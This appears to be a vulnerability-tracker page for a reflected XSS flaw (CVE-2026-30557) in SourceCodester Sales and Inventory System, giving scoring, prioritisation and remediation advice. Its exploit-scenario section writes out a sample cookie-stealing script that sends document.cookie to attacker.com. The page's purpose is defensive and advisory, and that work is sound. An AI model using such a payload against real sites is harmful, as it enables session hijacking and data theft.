Skip to main content

PHP EUVDEUVD-2026-17096

| CVE-2026-30557 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-30 mitre GHSA-qj64-x78v-v8w2
6.1
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Although CVSS score and vector data are unavailable, multiple signals confirm moderate-to-high real-world risk. Reflected XSS vulnerabilities typically require user interaction (clicking a malicious link), which classifies them as user-assisted attacks rather than direct remote code execution. However, the public availability of exploit code significantly elevates practical risk beyond the technical severity alone. The vulnerability affects an unauthenticated parameter in a web-facing application component, meaning attackers require no credentials. For inventory management systems handling sensitive business and customer data, successful exploitation can lead to theft of session cookies, exfiltration of sales records, or injection of malicious content targeting store employees and customers. The absence of CVSS metrics prevents structured risk prioritization, but the combination of public POC availability, ease of exploitation, and high-value target data (sales/inventory records) warrants immediate remediation in operational deployments.

Exploit ScenarioDerived

An attacker crafts a malicious URL containing JavaScript code in the 'msg' parameter (e.g., add_category.php?msg=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and sends it to store staff via email or social engineering. When an employee clicks the link while logged into the inventory system, the injected script executes in their browser, stealing their session cookie and transmitting it to the attacker's server. The attacker then uses the stolen cookie to gain authenticated access to the inventory system, allowing them to modify product prices, delete inventory records, or exfiltrate customer data. Publicly available proof-of-concept code lowers the barrier to entry for attackers without advanced technical skills.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 30, 2026

Reflected cross-site scripting (XSS) in SourceCodester Sales and Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through an unsanitized 'msg' parameter in add_category.php, enabling session hijacking, credential theft, or malware distribution via malicious URLs. Publicly available exploit code exists, increasing real-world attack likelihood despite the absence of formal CVSS scoring or CVE severity data.

RemediationAI

Immediate remediation requires upgrading to a patched version if available from SourceCodester, or applying input sanitization patches directly. Developers must implement output encoding (HTML entity encoding via htmlspecialchars() or htmlentities() in PHP) on all instances where user input is reflected back to the browser, specifically the 'msg' parameter in add_category.php. Additionally, implement Content Security Policy (CSP) headers to restrict inline script execution, and apply input validation to reject or strip potentially malicious characters. If vendor patches are unavailable, apply a Web Application Firewall (WAF) rule to block requests containing suspicious script patterns in the 'msg' parameter as a temporary control. Review the public exploit code available at https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddCategory-msg.md to understand the exact injection vector and test remediation effectiveness.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from improper input validation in a PHP-based web application. The add_category.php file accepts user-supplied input via the 'msg' parameter without sanitizing or encoding the output before reflecting it back to the client browser. This classic reflected XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) allows attackers to inject malicious scripts that execute in the victim's browser context. The vulnerable parameter is passed directly into the HTTP response, enabling script injection when the URL is visited or clicked by a user. SourceCodester's inventory management system is a common open-source PHP application used in small-to-medium retail environments, making it a practical target for mass exploitation campaigns.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
PoC Detected
Apr 06, 2026 - 14:16 vuln.today
Public exploit code
CVE Published
Mar 30, 2026 - 00:00 nvd
MEDIUM 6.1

DescriptionCVE.org

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_category.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy